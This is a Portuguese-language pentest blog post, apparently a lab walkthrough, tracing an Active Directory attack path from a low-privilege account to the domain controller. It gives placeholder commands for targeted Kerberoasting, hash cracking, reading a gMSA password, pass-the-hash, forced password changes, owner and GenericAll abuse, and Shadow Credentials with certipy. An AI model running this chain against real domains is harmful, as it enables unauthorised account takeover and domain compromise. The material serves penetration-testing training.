gMSA Exploit - ReadGMSAPassword

Você iniciou um Pentest em uma rede com uma credencial sem privilégios. O objetivo principal é obter o máximo de permissão na rede, então logicamente o alvo é o controlador de domínio. 

Supondo que o endereço do AD não foi informado, comece realizando uma enumeração na rede. Use o script disponível AQUI

Porta 445 

Use Crackmapexec para enumerar os compartilhamentos e os usuários. 

crackmapexec smb [IP] -u ['usuário'] -p ['senha'] --shares

crackmapexec smb [IP] -u ['usuário'] -p ['senha'] --users


Em uma rede com controlador de domínio, logo no inicio do teste use o BloodHound para buscar vulnerabilidades relacionadas com permissões inseguras. 

Pesquise o usuário fornecido para o teste e analise a relação dessa conta com outras. No exenplo, o usuário Henry tem permissão de escrita no atributo SPN (WriteSPN) da conta Afred. Isso permite o ataque Kerberoasting, conforme explicado neste artigo AQUI



O script targetedKerberoast.py realiza todo o ataque de forma fácil, e antes de executá-lo é necessário atualizar a hora do Kali com o comando ntpdate [dominio]

python3 targetedKerberoast.py -v -d 'dominio' -u 'usuario' -p 'senha' 


O hash é copiado e adicionado em um arquivo para a quebra offline. A ferramenta John realiza a quebra facilmente com a wordlist rockyou. 

john --format=krb5tgs --wordlist=/opt/SecLists/Passwords/Leaked-Databases/rockyou-75.txt [hashfile]


Após o ataque Kerberoasting bem sucedido, inicia-se a validação dos acessos da nova conta. 

Uma nova análise é feita no BloodHound para a conta Alfred. Esse usuário consegue se auto adicionar ao grupo Infraestrutura devido a permissão AddSelf



O que há de interessante no grupo Infraestrutura? Esse grupo possui a permissão "ReadGMSAPassword" relacionada com a conta ANSIBLE_DEV. 



ReadGMSAPassword

GMSA = Group Managed Service Account - gMSA

É um tipo especial de conta de serviço usada para executar serviços automaticamente. Diferente de contas de serviço tradicionais, contas gMSA são gerenciadas pelo controlador de domínio que faz a alteração períodica da sua senha. Encontramos credenciais gMSA a partir do Windows 2012. 

Como gMSA aumenta a segurança? 

  • Rotação Automática de Senhas: o AD gera e atualiza uma senha complexa a cada 30 dias (configuração padrão).
  • Sem Gerenciamento Manual de Senhas: Os administradores nunca precisam saber ou gerenciar a senha.
  • Várias Máquinas Podem Usar um gMSA: Ao contrário das contas de serviço normais, vários computadores podem usar o mesmo gMSA com segurança.

Como gMSA funciona?

  • Geração automática de senhas: O KDS no AD é responsável por gerar senhas gMSA.
  • Armazenamento de senhas: A senha é armazenada em um atributo chamado msDS-ManagedPassword, que somente usuários e máquinas autorizados podem recuperar.
  • Controle de acesso: O atributo msDS-GroupMSAMembership define quais contas podem recuperar a senha.

Atributos da gMSA 

  • msDS-ManagedPassword – Armazena as senhas atuais e anteriores do gMSA de forma criptografada.
  • msDS-ManagedPasswordID – Armazena o ID da chave usado para gerar a senha atual.
  • msDS-ManagedPasswordPreviousID – Armazena o ID da chave usado para gerar a senha anterior.
  • msDS-GroupMSAMembership – Define quais usuários/computadores podem solicitar a senha.
  • msDS-ManagedPasswordInterval – Define a frequência (em dias) em que a senha é alterada (padrão: 30 dias).

Como explorar o uso da gMSA?

Quando um usuário ou grupo tem permissão ReadGMSAPassword, é possível obter a senha de uma conta gMSA. 

Em determinadas máquinas, a conta gMSA é usada para executar serviços locais e para fazer isso, solicita ao AD a sua senha para executar o serviço. Se o aracante obtém acesso a máquina que possui uma conta gMSA, poderá ler a senha desta conta. 

Roubo da senha do gMSA: Se um invasor tiver acesso a uma máquina que possa recuperar a senha do gMSA, ele poderá extraí-la usando consultas do PowerShell ou LDAP. A senha extraída pode então ser usada para autenticação como o gMSA.

Ataques Pass-the-Hash (PtH): Assim que um invasor obtém o hash NT da senha do gMSA, ele pode executar um ataque Pass-the-Hash para obter acesso aos sistemas.

Ataques Overpass-the-Hash (Pass-the-Ticket): Os invasores podem converter o hash NT extraído em um tíquete Kerberos e usá-lo para se passar pelo gMSA.

Executando Serviços Maliciosos: Se um invasor tiver controle sobre um computador que pode usar um gMSA, ele pode criar um serviço malicioso ou uma tarefa agendada que seja executada como o gMSA, obtendo acesso elevado.

Voltando ao usuário Alfred, ele será adicionado ao grupo Infraestrutura e vai herdar a permissão ReadGMSAPassword. 

Para adicionar o usuário Alfred no grupo Infraestrutura, a ferramenta bloodyAD realiza essa tarefa ao usar o protocolo LDAP. 

O bloodyAD é uma ferramenta para escalação de privilégios no AD e seu repositório está disponível neste LINK

python3 bloodyAD.py -d [DOMINIO] -u [USUARIO] -p [SENHA] --host [HOSTNAME] add groupMember [GRUPO] [USUARIO]



Até aqui, as seguintes etapas foram executadas: 

Conta de teste Henry possui permissão WriteSPN e foi usadas para o ataque Kerberoasting. 

No ataque Kerberoasting, a senha do usuário Alfred foi obtida. 

O usuário Alfred é adicionado ao grupo Infraestrutura e herdou a permissão ReadGMSAPassword. 

O usuário Alfred obteve a senha da conta ANSIBLE_DEV. 



Podemos ler a senha GMSA da conta ANSIBLE_DEV com a ferramenta bloodyAD: 

python3 bloodyAD.py -d [DOMINIO] -u [USUARIO] -p [SENHA] --host [HOSTNAME] get object '[ACCOUNT-TO-READ]' --attr msDS-ManagedPassword


O hash NTLM da senha é coletado e podemos usá-lo para acesso ao servidor pela porta 445/SMB aplicando a técnica Pass-The-Hash. 

crackmapexec smb [SERVIDOR] -u '[USUARIO]' -H [HASH] --shares 


Ao analisar a conta ANSIBLE_DEV no BloodHound, observamos que tem permissão para trocar a senha do usuário SAM (ForceChangePassword). 


Troca a senha do usuário SAM: 

python3 bloodyAD.py -d [DOMINIO] -u '[USUARIO]' -p ':[HASH]' --host [HOSTNAME] set password "[USER-TARGET]" "[PASSWORD-TO-CHANGE]"


O usuário Sam possui permissão (WriteOwner) para modificar o owner da conta John. Como owner, Sam atribui a permissão GenericAll e pode modificar a senha do usuário John usando a técnica Shadow Credentials. 

python3 bloodyAD.py -d [DOMINIO] -u [USER] -p '[SENHA]' --host [HOSTNAME] set owner [USER-TARGET] [USER-NEW-OWNER]


 Como owner, Sam pode atribuir a permissão GenericAll

python3 bloodyAD.py -d [DOMINIO] -u [USUARIO] -p '[SENHA]' --host [HOSTNAME] add genericAll [USER-TARGET] [USER-OWNER]


Shadow Credentials

Agora que o usuário Sam tem total controle da conta John, pode modificar sua senha usando a técnica Shadow Credentials com a ferramenta certipy-ad.

Certipy-AD é uma ferramenta para enumerar e explorar o serviço de certificado do Active Directory (AD CS), o guia de instalação está disponível neste repositório AQUI 

 certipy shadow auto -target [DOMINIO] -u [USUARIO] -p '[SENHA]' -account [USUARIO]


A conta John tem acesso com WinRM ao servidor AD, então usando o Evil-WinRM é possível acessar o servidor. 

Podemos concluir todas as técnicas usadas no caminho para o ataque: 


[1] Ataque Kerberoasting possível devido a permissão WriteSPN da conta Henry na conta Alfred

[2] Permissão AddSelf da conta Alfred para se adicionar ao grupo Infraestrutura

[3] O usuário Alfred ao se adicionar ao grupo Infraestrutura, herda a permissão ReadGMSAPassword que permite obter o hash da senha da conta ANSIBLE_DEV

[4] Ao obter o hash da senha da conta ANSIBLE_DEV, a técnica Pass-the-Hash é usada para trocar a senha do usuário SAM. Isso é possível porque ANSIBLE_DEV tem permissão ForceChangePassword na conta SAM. 

[5] A conta SAM tem permissão para modificar o owner da conta John, ou seja, Sam pode torna-se dono da conta John. Feito isso, a permissão GenericAll é atribuida e Sam pode modificar a senha de John. 

Ao modificar a senha do usuário John com a ferramenta Certipy, obtém o hash NTLM desta senha e podemos acessar o servidor como John usando a técnica Pass-the-Hash. 

Ferramentas usadas

BloodHound para análise e estratégia do ataque

targetedKerberoast.py para executar o ataque Kerberoasting. 

John para quebra do hash da senha 

bloodyAD para: 
    adicionar o usuário ao grupo infraestrutura
    obter o hash da senha do usuário ANSIBLE_DEV
    troca a senha do usuário Sam
    adicionar o usuário Sam como owner da conta John
    atribui a permissão GenericAll 

Certipy para trocar a senha do usuário e obter o hash NTLM

Permissões exploradas neste laboratório:

WriteSPN
AddSelf
ReadGMSAPassword
ForceChangePassword
WriteOwner

Mind Map Hacking



That's it! 

#HACKINGBR
   





Comentários

Postagens mais visitadas